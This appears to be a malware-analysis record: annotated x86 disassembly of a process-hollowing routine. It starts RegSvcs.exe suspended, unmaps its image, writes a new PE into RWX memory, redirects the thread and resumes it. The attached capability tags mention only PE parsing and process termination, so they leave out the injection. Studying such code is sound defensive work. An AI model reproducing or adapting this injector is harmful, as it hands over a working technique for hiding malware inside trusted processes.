Function at 0x401a80
Capabilities:
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
mov eax, dword [0x448040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x60]
push edi
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0x44
push eax
mov eax, dword [ebx]
xorps xmm0, xmm0
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push str.C:WindowsMicrosoft.NETFramework_v4.0.30319RegSvcs.exe
mov edi, ecx
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
movups xmmword [ebp - 0x60], xmm0
call eax
test eax, eax
je 0x401c95
mov eax, 0x5a4d
push esi
cmp word [edi], ax
jne 0x401c84
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
jne 0x401c84
lea eax, [ebp - 0x330]
mov dword [ebp - 0x330], 0x10007
push eax
push dword [ebp - 0x5c]
mov eax, dword [ebx + 4]
call eax
test eax, eax
je 0x401c79
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 4
lea eax, [ebp - 0x64]
push eax
mov eax, dword [ebp - 0x28c]
add eax, 8
push eax
push dword [ebp - 0x60]
mov eax, dword [ebx + 0xc]
call eax
mov eax, dword [ebp - 0x64]
lea ecx, [esi + 0x34]
cmp eax, dword [ecx]
jne 0x401b8f
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401c79
push dword [ebp - 0x64]
push dword [ebp - 0x60]
call eax
lea ecx, [esi + 0x34]
mov eax, dword [ebx + 0x14]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [ecx]
push dword [ebp - 0x60]
call eax
mov dword [ebp - 0x33c], eax
test eax, eax
je 0x401c79
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push dword [esi + 0x54]
push edi
push eax
push dword [ebp - 0x60]
mov eax, dword [ebx + 0x10]
call eax
xor eax, eax
mov dword [ebp - 0x334], 0
cmp ax, word [esi + 6]
jae 0x401c35
xor ecx, ecx
mov dword [ebp - 0x338], ecx
add ecx, dword [edi + 0x3c]
lea eax, [ebp - 8]
push eax
push dword [ecx + edi + 0x108]
mov eax, dword [ecx + edi + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + edi + 0x104]
add eax, dword [ebp - 0x33c]
push eax
push dword [ebp - 0x60]
mov eax, dword [ebx + 0x10]
call eax
mov edx, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x338]
inc edx
movzx eax, word [esi + 6]
add ecx, 0x28
mov dword [ebp - 0x334], edx
mov dword [ebp - 0x338], ecx
cmp edx, eax
jl 0x401be3
lea eax, [ebp - 8]
push eax
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebp - 0x28c]
add eax, 8
push eax
push dword [ebp - 0x60]
mov eax, dword [ebx + 0x10]
call eax
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x33c]
mov dword [ebp - 0x280], eax
lea eax, [ebp - 0x330]
push eax
push dword [ebp - 0x5c]
mov eax, dword [ebx + 8]
call eax
push dword [ebp - 0x5c]
mov eax, dword [ebx + 0x1c]
call eax
jmp 0x401c84
push 1
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x5c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x60]
call esi
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.004025d0
mov esp, ebp
pop ebp
ret